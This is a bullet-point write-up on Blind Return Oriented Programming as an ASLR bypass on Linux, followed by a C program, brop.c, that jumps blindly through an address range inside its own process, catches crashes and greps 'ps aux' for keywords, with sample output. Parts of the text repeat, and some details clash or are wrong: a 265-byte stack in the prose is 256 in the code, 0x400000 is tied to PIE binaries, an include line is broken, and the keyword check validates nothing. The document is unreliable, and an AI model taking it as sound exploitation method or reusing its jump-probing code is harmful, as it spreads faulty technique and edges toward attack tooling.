- This research explores the application of Blind Return Oriented Programming (BROP) as a technique to bypass ASLR protection in Linux environments. A virtual stack is constructed containing controlled return addresses and pointer references. The system iteratively attempts indirect jumps to memory addresses within a defined executable range (e.g., 0x400000–0x401000). Each jump is evaluated based on runtime behavior:
- The validity of an address is confirmed by analyzing post-jump execution context, including process continuity and keyword presence (e.g., BROP, exploit) in system output. The address range is configurable, allowing adaptive probing across different binaries or environments.
- Blind Return Oriented Programming (BROP) is a technique designed to bypass Address Space Layout Randomization (ASLR) in environments where direct access to the binary or memory layout is restricted. This method relies on controlled fault analysis and indirect probing to identify valid executable addresses without prior knowledge of the target’s internal structure.
- The approach begins by constructing a virtual stack containing crafted return addresses and safe function pointers. The system then performs iterative indirect jumps to a predefined memory range (e.g., 0x400000–0x401000), typically corresponding to the .text segment of the binary. Each jump is evaluated based on runtime behavior:
- To confirm address validity, the technique analyzes post-jump execution context, including process continuity and the presence of specific keywords (e.g., BROP, exploit) in system output. This dual-layered validation—thermal (crash/no crash) and semantic (keyword detection)—enables precise identification of exploitable code paths.
-The probing range is fully configurable, allowing adaptation across binaries, architectures, and protection schemes. BROP thus transforms blind exploitation into a deterministic process, leveraging system feedback as a logical oracle.
- Blind Return Oriented Programming (BROP) derives its strength from the ability to adapt across diverse binary layouts and runtime environments. Since the attacker operates without prior knowledge of the target’s memory map, the scanning range must remain configurable and responsive to architectural variations.
- In this implementation, the default probing range is set between 0x400000 and 0x401000, which typically corresponds to the .text segment in ELF binaries on Linux systems. This range is selected based on common base address patterns observed in position-independent executables. However, the technique is not constrained to this range:
1 - Custom Range Selection : The attacker may redefine the start and end addresses to target alternative segments such as .plt, .got, or even heap regions—provided executable permissions are present.
2 - Dynamic Adjustment : Based on runtime feedback (e.g., segmentation faults, illegal instructions, or successful jumps), the scanning scope can be expanded, narrowed, or shifted to improve detection accuracy.
3 - Architecture Awareness : On 64-bit systems, pointer alignment and instruction density influence the step size (commonly 8-byte increments). This parameter can be tuned to balance precision and performance.
4 - Binary-Specific Calibration : For hardened binaries compiled as PIE (Position Independent Executable), address inference may require side-channel analysis or brute-force heuristics prior to applying BROP.
- Additionally, pointer ranges can be programmatically generated using loop constructs, allowing precise targeting of memory regions based on system characteristics.
- This configurability elevates BROP from a static exploitation method to a flexible probing framework—capable of adapting to protection schemes, binary structures, and execution contexts with minimal assumptions.
- The blind return-oriented programming (BROP) application in this project is designed to run in hardened Linux environments where ASLR and non-executable memory protection are enabled. The basic logic revolves around controlled error analysis, virtual stack construction, and semantic verification of execution flow.
1. Secure function anchors Two functions, a() and b(), are defined using only nop instructions. These functions serve as safe return addresses for testing stack integrity and verifying jump behavior without causing errors.
2. Virtual stack construction A fake stack of 265 bytes is allocated, containing:
- This stack mimics a post-exploitation environment where return-oriented tools are linked.
3. Signal Handling Mechanism A custom sigsegv_handler() is registered to intercept segmentation faults or illegal instructions. When an error is detected, the handler calls siglongjmp() to resume execution without terminating the process. This allows blind scanning without crashing the application.
- This configurability elevates BROP from a static exploitation method to a flexible probing framework—capable of adapting to protection schemes, binary structures, and execution contexts with minimal assumptions.
4. Jump execution logic For each candidate address: The system sets the return pointer via setOffset(). An indirect jump is executed using the built-in assembly: jmp *%0. If no error occurs, the process continues with semantic verification.
# gcc brop.c -o BROP
# ./BROP
[+] Pointer Not NULL "a()". [+] Pointer Not NULL "b()". [+] Pointer a() : 0x5638c53a0315 [+] Pointer b() : 0x5638c53a031e [+] Stack Value : =================================== 0x5638c53a0315 [+] Found address in stack (0x5638c53a0315) 0x5638c53a031e [+] Found address in stack (0x5638c53a031e) [+] I started trying to find the address using BROP... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... [-] Segfault/Illegal instruction caught, skipping address... ....
File: brop.c — Size: 4,41 KB — Lines: 222
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <signal.h>
#include <\setjmp.h>
#define STACK_VALUE 256
#define RET_OFFSET (STACK_VALUE - 16)
sigjmp_buf jumpBuffer;
char stack[STACK_VALUE];
void s()
{
printf("\e[0;33m[+] Stack Value : ===================================\e[0m\n");
}
void exitSycall()
{
__asm__ volatile
(
"syscall\n\t"
:
: "A"(0x3C),
"D"(0)
: "rcx",
"r11",
"memory"
);
fflush(NULL);
}
void stackvalue(void (*ptr)())
{
memcpy(stack, &ptr, sizeof(ptr));
void (*rP)();
memcpy(&rP, stack, sizeof(rP));
//stack[STACK_VALUE-1] = '\0';
printf("%p\n", rP);
if (memcmp(&ptr, stack, sizeof(ptr)) == 0)
{
printf("\e[0;36m[+] Found address in stack (%p)\e[0m\n", (void*)ptr);
}
else
{
printf("\e[0;31m[-] Not found address in stack (%p)!\e[0m\n", (void*)ptr);
}
}
void a()
{
__asm__ volatile
(
"nop\n\t"
"nop\n\t"
:
:
:
);
}
void b()
{
__asm__ volatile
(
"nop\n\t"
"nop\n\t"
:
:
:
);
}
void sigsegv_handler(int sig)
{
const char msg[] = "\e[0;31m[-] Segfault/Illegal instruction caught, skipping address...\e[0m\n";
write(STDERR_FILENO,
msg,
sizeof(msg)-1);
siglongjmp(jumpBuffer,
1);
}
void setOffset(void *addr)
{
if (RET_OFFSET + (int)sizeof(addr) <= STACK_VALUE)
{
memcpy(&stack[RET_OFFSET], &addr, sizeof(addr));
}
else
{
fprintf(stderr, "\e[0;31m[-] Set Offset: offset out of range\e[0m\n");
}
}
void brop()
{
uintptr_t start = 0x400000;
uintptr_t end = 0x401000;
for (volatile uintptr_t pointer = start; pointer < end; pointer += 8)
{
if (sigsetjmp(jumpBuffer, 1) != 0)
{
continue;
}
usleep(18000);
setOffset((void *)pointer);
uint64_t raxValue ;
raxValue = (uint64_t)pointer;
__asm__ volatile
(
"jmp *%0\n\t"
:
: "r"(raxValue)
:
);
char pidstr[32];
pid_t pid = getpid();
if (pid == 0)
{
printf("[-] PID Value Error !\e[0m\n");
}
int len = snprintf(pidstr,
sizeof(pidstr),
"%d",
(int)pid);
if (len < 0 || len >= (int)sizeof(pidstr))
{
fprintf(stderr, "[-] PID Format Error !\e[0mn");
exit(1);
}
printf("\e[0;34m[+] Write PID value SUCCESS.\e[0m\n");
FILE *f =popen("ps aux", "r");
if (f == NULL)
{
printf("\e[0;31m[-] Error Read File !\e[0m\n");
exitSycall();
}
const char *word[] = {pidstr,
"brop",
"BROP",
"exploit",
NULL};
printf("[+] PID : %s\n", pidstr);
int found = 0;
char linePs[1500];
while (fgets(linePs,
sizeof(linePs),
f) != NULL)
{
for (int j = 0; word[j] != NULL; ++j)
{
if (strstr(linePs, word[j]) != NULL)
{
found = 1;
break;
}
}
if (found) break;
}
if (found)
{
printf("\e[0;35m[+] ========================================================\e[0m\n");
printf("\e[0;34m[+] Word found in ps aux PID !\e[0m\n");
printf("\e[0;34m[+] Return value addrress is Correct\e[0m\n");
printf("\e[0;35m============================================================\e[0m\n");
}
else
{
printf("\e[0;35m[-] ========================================================\e[0m\n");
printf("\e[0;31m[-] Not found PID value in process.\e[0m\n");
printf("\e[0;31m[-] Program exit or crash.\e[0m\n");
printf("\e[0;35m============================================================\e[0m\n");
}
pclose(f);
}
}
int main()
{
signal(SIGSEGV, sigsegv_handler);
signal(SIGILL, sigsegv_handler);
void (*ptr1)() = &a;
void (*ptr2)() = &b;
if ((void*)ptr1 == NULL || (void*)ptr2 == NULL)
{
printf("\e[0;31m[-] NULL pointer \"a()\"!\e[0m\n");
printf("\e[0;31m[-] NULL pointer \"b()\"!\e[0m\n");
}
printf("\e[0;36m[+] Pointer Not NULL \"a()\".\e[0m\n");
printf("\e[0;36m[+] Pointer Not NULL \"b()\".\e[0m\n");
printf("\e[0;34m[+] Pointer a() : %p\e[0m\n", (void*)ptr1);
printf("\e[0;34m[+] Pointer b() : %p\e[0m\n", (void*)ptr2) ;
s();
stackvalue((void*)ptr1);
stackvalue((void*)ptr2);
printf("\e[0;32m[+] I started trying to find the address using BROP...\e[0m\n");
if (setjmp(jumpBuffer) == 0)
{
brop();
}
else
{
printf("[-] Faild jump !\e[0m\n");
}
return 0;
}